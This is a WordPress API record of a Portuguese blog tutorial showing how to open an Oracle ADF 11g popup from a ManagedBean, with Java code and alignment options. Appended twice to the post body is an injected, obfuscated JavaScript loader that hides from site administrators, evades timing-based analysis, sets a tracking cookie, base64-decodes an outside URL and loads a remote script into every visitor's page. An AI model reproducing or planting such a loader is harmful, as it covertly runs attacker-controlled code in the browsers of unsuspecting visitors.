{"id":9,"date":"2010-01-23T01:20:00","date_gmt":"2010-01-23T01:20:00","guid":{"rendered":"http:\/\/www.thiagovespa.com.br\/blog\/?p=9"},"modified":"2025-10-26T22:45:04","modified_gmt":"2025-10-27T01:45:04","slug":"adf-11g-gerenciando-popup-via-managedbean","status":"publish","type":"post","link":"https:\/\/thiagovespa.com.br\/blog\/2010\/01\/23\/adf-11g-gerenciando-popup-via-managedbean\/","title":{"rendered":"ADF 11g gerenciando Popup via ManagedBean"},"content":{"rendered":"<p>Uma das caracter\u00edsticas do ADF 11g, \u00e9 poder gerenciar um Popup, por um ManagedBean.<br \/>\nCrie um projeto no JDeveloper 11G<br \/>\nComo exemplo vou criar um projeto simples somente com um view, um bean e uma P\u00e1gina jsp.<\/p>\n<p>Nesta P\u00e1gina insira um componente popup, dentro do popup insira um componente Dialog, para termos os bot\u00f5es ok e cancel por default.Set a propriedade\u00a0 <strong>contentDelivery<\/strong> como lazy assim garantimos um \u201crefresh\u201d nos componentes.<br \/>\nInsira tamb\u00e9m um componente OutputText, para vermos as modifica\u00e7\u00f5es.<\/p>\n<p><a href=\"http:\/\/lh6.ggpht.com\/_4lt8NVgnE3E\/S1pOnnyNCfI\/AAAAAAAAABc\/KDCGz53D1FM\/s1600-h\/image27.png\" target=\"_blank\" rel=\"noopener\"><img loading=\"lazy\" decoding=\"async\" style=\"display: inline; border-width: 0px;\" title=\"JDeveloper com a P\u00e1gina do Popup\" src=\"http:\/\/lh6.ggpht.com\/_4lt8NVgnE3E\/S1pOsPLzwJI\/AAAAAAAAABo\/OGrtFl0gX5k\/image_thumb25.png?imgmax=800\" border=\"0\" alt=\"JDeveloper com a P\u00e1gina do Popup\" width=\"660\" height=\"420\" \/><\/a><\/p>\n<p>Agora criaremos um ManagedBean para a nossa aplica\u00e7\u00e3o, insira tamb\u00e9m um bot\u00e3o ou qualquer outro componente que gere um evento na p\u00e1gina jsp. Defina sua propriedade PartialSubmit como true veja<\/p>\n<p><a href=\"http:\/\/lh4.ggpht.com\/_4lt8NVgnE3E\/S1pOultLc1I\/AAAAAAAAABs\/SATmsZXBUfM\/s1600-h\/image48.png\"><img loading=\"lazy\" decoding=\"async\" style=\"display: inline; margin-left: 0px; margin-right: 0px; border-width: 0px;\" title=\"image\" src=\"http:\/\/lh5.ggpht.com\/_4lt8NVgnE3E\/S1pOy3PjJCI\/AAAAAAAAAB4\/hR5kFiiX-fk\/image_thumb44.png?imgmax=800\" border=\"0\" alt=\"image\" width=\"259\" height=\"500\" \/><\/a><\/p>\n<p>Crie um Action para o bot\u00e3o e defina como corpo do m\u00e9todo como abaixo<\/p>\n<div id=\"codeSnippetWrapper\" style=\"border: 1px solid silver; text-align: left; padding: 4px; line-height: 12pt; background-color: #f4f4f4; margin: 20px 0px 10px; width: 97.5%; font-family: 'Courier New',courier,monospace; direction: ltr; max-height: 200px; font-size: 8pt; overflow: auto; cursor: text;\">\n<div id=\"codeSnippet\" style=\"border-style: none; text-align: left; padding: 0px; line-height: 12pt; background-color: #f4f4f4; width: 100%; font-family: 'Courier New',courier,monospace; direction: ltr; color: black; font-size: 8pt; overflow: visible;\">\n<pre style=\"border-style: none; text-align: left; padding: 0px; line-height: 12pt; background-color: white; margin: 0em; width: 100%; font-family: 'Courier New',courier,monospace; direction: ltr; color: black; font-size: 8pt; overflow: visible;\"><span id=\"lnum1\" style=\"color: #606060;\">   1:<\/span> <span style=\"color: #0000ff;\">public<\/span> String actionChamaPopup() {<\/pre>\n<p><!--CRLF--><\/p>\n<pre style=\"border-style: none; text-align: left; padding: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; width: 100%; font-family: 'Courier New',courier,monospace; direction: ltr; color: black; font-size: 8pt; overflow: visible;\"><span id=\"lnum2\" style=\"color: #606060;\">   2:<\/span>     FacesContext context = FacesContext.getCurrentInstance();<\/pre>\n<p><!--CRLF--><\/p>\n<pre style=\"border-style: none; text-align: left; padding: 0px; line-height: 12pt; background-color: white; margin: 0em; width: 100%; font-family: 'Courier New',courier,monospace; direction: ltr; color: black; font-size: 8pt; overflow: visible;\"><span id=\"lnum3\" style=\"color: #606060;\">   3:<\/span><\/pre>\n<p><!--CRLF--><\/p>\n<pre style=\"border-style: none; text-align: left; padding: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; width: 100%; font-family: 'Courier New',courier,monospace; direction: ltr; color: black; font-size: 8pt; overflow: visible;\"><span id=\"lnum4\" style=\"color: #606060;\">   4:<\/span>     StringBuilder script = <span style=\"color: #0000ff;\">new<\/span> StringBuilder();<\/pre>\n<p><!--CRLF--><\/p>\n<pre style=\"border-style: none; text-align: left; padding: 0px; line-height: 12pt; background-color: white; margin: 0em; width: 100%; font-family: 'Courier New',courier,monospace; direction: ltr; color: black; font-size: 8pt; overflow: visible;\"><span id=\"lnum5\" style=\"color: #606060;\">   5:<\/span>     script.append(<span style=\"color: #006080;\">\"var popup = AdfPage.PAGE.findComponent('\"<\/span>).append(<span style=\"color: #006080;\">\"popID\"<\/span>).append(<span style=\"color: #006080;\">\"'); \"<\/span>).append(<span style=\"color: #006080;\">\"if (!popup.isPopupVisible()) { \"<\/span>).append(<span style=\"color: #006080;\">\"var hints = {}; \\n\"<\/span> +<\/pre>\n<p><!--CRLF--><\/p>\n<pre style=\"border-style: none; text-align: left; padding: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; width: 100%; font-family: 'Courier New',courier,monospace; direction: ltr; color: black; font-size: 8pt; overflow: visible;\"><span id=\"lnum6\" style=\"color: #606060;\">   6:<\/span>             <span style=\"color: #006080;\">\" hints[AdfRichPopup.HINT_ALIGN] = AdfRichPopup.ALIGN_AFTER_START;\\n\"<\/span> +<\/pre>\n<p><!--CRLF--><\/p>\n<pre style=\"border-style: none; text-align: left; padding: 0px; line-height: 12pt; background-color: white; margin: 0em; width: 100%; font-family: 'Courier New',courier,monospace; direction: ltr; color: black; font-size: 8pt; overflow: visible;\"><span id=\"lnum7\" style=\"color: #606060;\">   7:<\/span>             <span style=\"color: #006080;\">\" hints[AdfRichPopup.HINT_ALIGN_ID] = 'botaoID';\\n \"<\/span>).append(<span style=\"color: #006080;\">\"popup.show(hints);}\"<\/span>);<\/pre>\n<p><!--CRLF--><\/p>\n<pre style=\"border-style: none; text-align: left; padding: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; width: 100%; font-family: 'Courier New',courier,monospace; direction: ltr; color: black; font-size: 8pt; overflow: visible;\"><span id=\"lnum8\" style=\"color: #606060;\">   8:<\/span>     ExtendedRenderKitService erks =<\/pre>\n<p><!--CRLF--><\/p>\n<pre style=\"border-style: none; text-align: left; padding: 0px; line-height: 12pt; background-color: white; margin: 0em; width: 100%; font-family: 'Courier New',courier,monospace; direction: ltr; color: black; font-size: 8pt; overflow: visible;\"><span id=\"lnum9\" style=\"color: #606060;\">   9:<\/span>         Service.getService(context.getRenderKit(),<\/pre>\n<p><!--CRLF--><\/p>\n<pre style=\"border-style: none; text-align: left; padding: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; width: 100%; font-family: 'Courier New',courier,monospace; direction: ltr; color: black; font-size: 8pt; overflow: visible;\"><span id=\"lnum10\" style=\"color: #606060;\">  10:<\/span>                            ExtendedRenderKitService.<span style=\"color: #0000ff;\">class<\/span>);<\/pre>\n<p><!--CRLF--><\/p>\n<pre style=\"border-style: none; text-align: left; padding: 0px; line-height: 12pt; background-color: white; margin: 0em; width: 100%; font-family: 'Courier New',courier,monospace; direction: ltr; color: black; font-size: 8pt; overflow: visible;\"><span id=\"lnum11\" style=\"color: #606060;\">  11:<\/span>     erks.addScript(context, script.toString());<\/pre>\n<p><!--CRLF--><\/p>\n<pre style=\"border-style: none; text-align: left; padding: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; width: 100%; font-family: 'Courier New',courier,monospace; direction: ltr; color: black; font-size: 8pt; overflow: visible;\"><span id=\"lnum12\" style=\"color: #606060;\">  12:<\/span>     setTexto(<span style=\"color: #006080;\">\"Exemplo\"<\/span>);<\/pre>\n<p><!--CRLF--><\/p>\n<pre style=\"border-style: none; text-align: left; padding: 0px; line-height: 12pt; background-color: white; margin: 0em; width: 100%; font-family: 'Courier New',courier,monospace; direction: ltr; color: black; font-size: 8pt; overflow: visible;\"><span id=\"lnum13\" style=\"color: #606060;\">  13:<\/span>     <span style=\"color: #0000ff;\">return<\/span> null;<\/pre>\n<p><!--CRLF--><\/p>\n<pre style=\"border-style: none; text-align: left; padding: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; width: 100%; font-family: 'Courier New',courier,monospace; direction: ltr; color: black; font-size: 8pt; overflow: visible;\"><span id=\"lnum14\" style=\"color: #606060;\">  14:<\/span> }<\/pre>\n<p><!--CRLF--><\/p>\n<\/div>\n<\/div>\n<p>Neste m\u00e9todo voc\u00ea descreve o script para chamar a popup,\u00a0 define o alinhamento, e quem a popup deve pegar como base para se alinhar<\/p>\n<p>Posi\u00e7\u00f5es de alinhamento<br \/>\nALIGN_AFTER_START<br \/>\nALIGN_AFTER_END<br \/>\nALIGN_BEFORE_START<br \/>\nALIGN_BEFORE_END<br \/>\nALIGN_END_AFTER<br \/>\nALIGN_END_BEFORE<br \/>\nALIGN_START_AFTER<br \/>\nALIGN_START_BEFORE<\/p>\n<p>Agora o projeto em execu\u00e7\u00e3o<\/p>\n<p><a href=\"http:\/\/lh3.ggpht.com\/_4lt8NVgnE3E\/S1pO1X8H7kI\/AAAAAAAAAB8\/T8nhbdLWPd4\/s1600-h\/image%5B3%5D.png\"><img loading=\"lazy\" decoding=\"async\" style=\"display: inline; border-width: 0px;\" title=\"image\" src=\"http:\/\/lh6.ggpht.com\/_4lt8NVgnE3E\/S1pO2msxN-I\/AAAAAAAAACA\/cxgdvbeCcDU\/image_thumb.png?imgmax=800\" border=\"0\" alt=\"image\" width=\"244\" height=\"186\" \/><\/a><\/p>\n<p>Abaixo est\u00e1 o fonte do projeto, divirta-se \ud83d\ude00<\/p>\n<p><a href=\"http:\/\/cid-bdbb1cfc95817194.office.live.com\/self.aspx\/JDeveloper\/PopupGerenciamento.rar\">Download<\/a> do projeto.<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Uma das caracter\u00edsticas do ADF 11g, \u00e9 poder gerenciar um Popup, por um ManagedBean. Crie um projeto no JDeveloper 11G Como exemplo vou criar um projeto simples somente com um view, um bean e uma P\u00e1gina jsp. Nesta P\u00e1gina insira <a class=\"more-link\" href=\"https:\/\/thiagovespa.com.br\/blog\/2010\/01\/23\/adf-11g-gerenciando-popup-via-managedbean\/\">Continue lendo  <span class=\"screen-reader-text\">  ADF 11g gerenciando Popup via ManagedBean<\/span><span class=\"meta-nav\">&rarr;<\/span><\/a><\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0,"footnotes":""},"categories":[3,8],"tags":[],"class_list":["post-9","post","type-post","status-publish","format-standard","hentry","category-java","category-jdeveloper"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts\/9","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/comments?post=9"}],"version-history":[{"count":0,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts\/9\/revisions"}],"wp:attachment":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/media?parent=9"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/categories?post=9"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/tags?post=9"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}